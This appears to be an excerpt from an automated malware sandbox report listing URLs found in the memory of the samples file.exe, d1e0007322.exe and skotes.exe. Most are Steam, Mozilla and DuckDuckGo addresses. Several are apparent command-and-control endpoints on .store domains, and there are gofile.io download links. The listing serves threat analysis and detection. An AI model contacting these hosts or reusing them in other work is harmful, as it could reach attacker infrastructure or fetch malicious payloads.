Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665609246.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=KkhJqW2NGKiM&l=engli
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000002.2694441249.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2689070145.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665609246.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665609246.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000002.2694441249.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2689070145.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665609246.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp
Source: d1e0007322.exe, 0000000F.00000002.2694441249.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2689070145.0000000000F38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNI
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665609246.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000002.2694441249.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2689070145.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665609246.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=LfPmdzBKvdTh&amp
Source: d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665609246.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared
Source: d1e0007322.exe, 00000014.00000003.2811241396.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2747654498.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2817387446.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703641474.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2746214238.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2789248939.0000000000DD0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2749628393.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2768205750.0000000000DCF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2702112957.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2790110258.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2704648103.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=en
Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3258432576.0000000000DF0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3218380278.0000000000DEF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2790110258.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2704648103.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000002.3268034958.0000000000DF0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3257681427.0000000000DF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl
Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3258432576.0000000000DF0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3218380278.0000000000DEF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2790110258.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2704648103.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000002.3268034958.0000000000DF0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3257681427.0000000000DF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=
Source: d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2811241396.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665609246.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2747654498.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2817387446.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3218171105.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703641474.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2746214238.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2789248939.0000000000DD0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2749628393.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2768205750.0000000000DCF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665792105.0000000000DEF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3217922958.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2702112957.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=Ff_1prscqzeu&
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665609246.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665609246.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665609246.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665609246.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp
Source: d1e0007322.exe, 0000000F.00000002.2694441249.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2689070145.0000000000F38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/jz8c
Source: file.exe, 00000000.00000002.2092934158.0000000023CC2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2075634451.00000000019F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2772336166.0000000000E4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.2092934158.0000000023CC2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2075634451.00000000019F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2772336166.0000000000E4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: d1e0007322.exe, 00000014.00000003.2635576429.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3258673400.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665663785.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3257681427.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000002.3265790234.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store:443/api)
Source: file.exe, 00000000.00000003.1865012472.00000000019EA000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703957544.000000000565C000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703369649.000000000565C000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703110142.0000000005672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1865012472.00000000019EA000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703957544.000000000565C000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703369649.000000000565C000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703110142.0000000005672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1865012472.00000000019EA000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703957544.000000000565C000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703369649.000000000565C000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703110142.0000000005672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: d1e0007322.exe, 00000014.00000003.2635576429.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3258673400.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665663785.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3257681427.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000002.3265790234.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fadehairucw.store:443/api
Source: d1e0007322.exe, 00000014.00000003.2635576429.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665663785.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/
Source: d1e0007322.exe, 0000000B.00000002.2651235498.0000000001493000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store:443/api
Source: skotes.exe, 0000000A.00000003.3361783553.000000000A459000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gofile.io/
Source: skotes.exe, 0000000A.00000003.3361783553.000000000A459000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gofile.io/0
Source: skotes.exe, 0000000A.00000003.2519019918.0000000001688000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000A.00000003.2519019918.0000000001685000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000A.00000003.2519019918.0000000001690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gofile.io/d/bcfa72bd-ef57-4519-ad7e-6fc790a80290
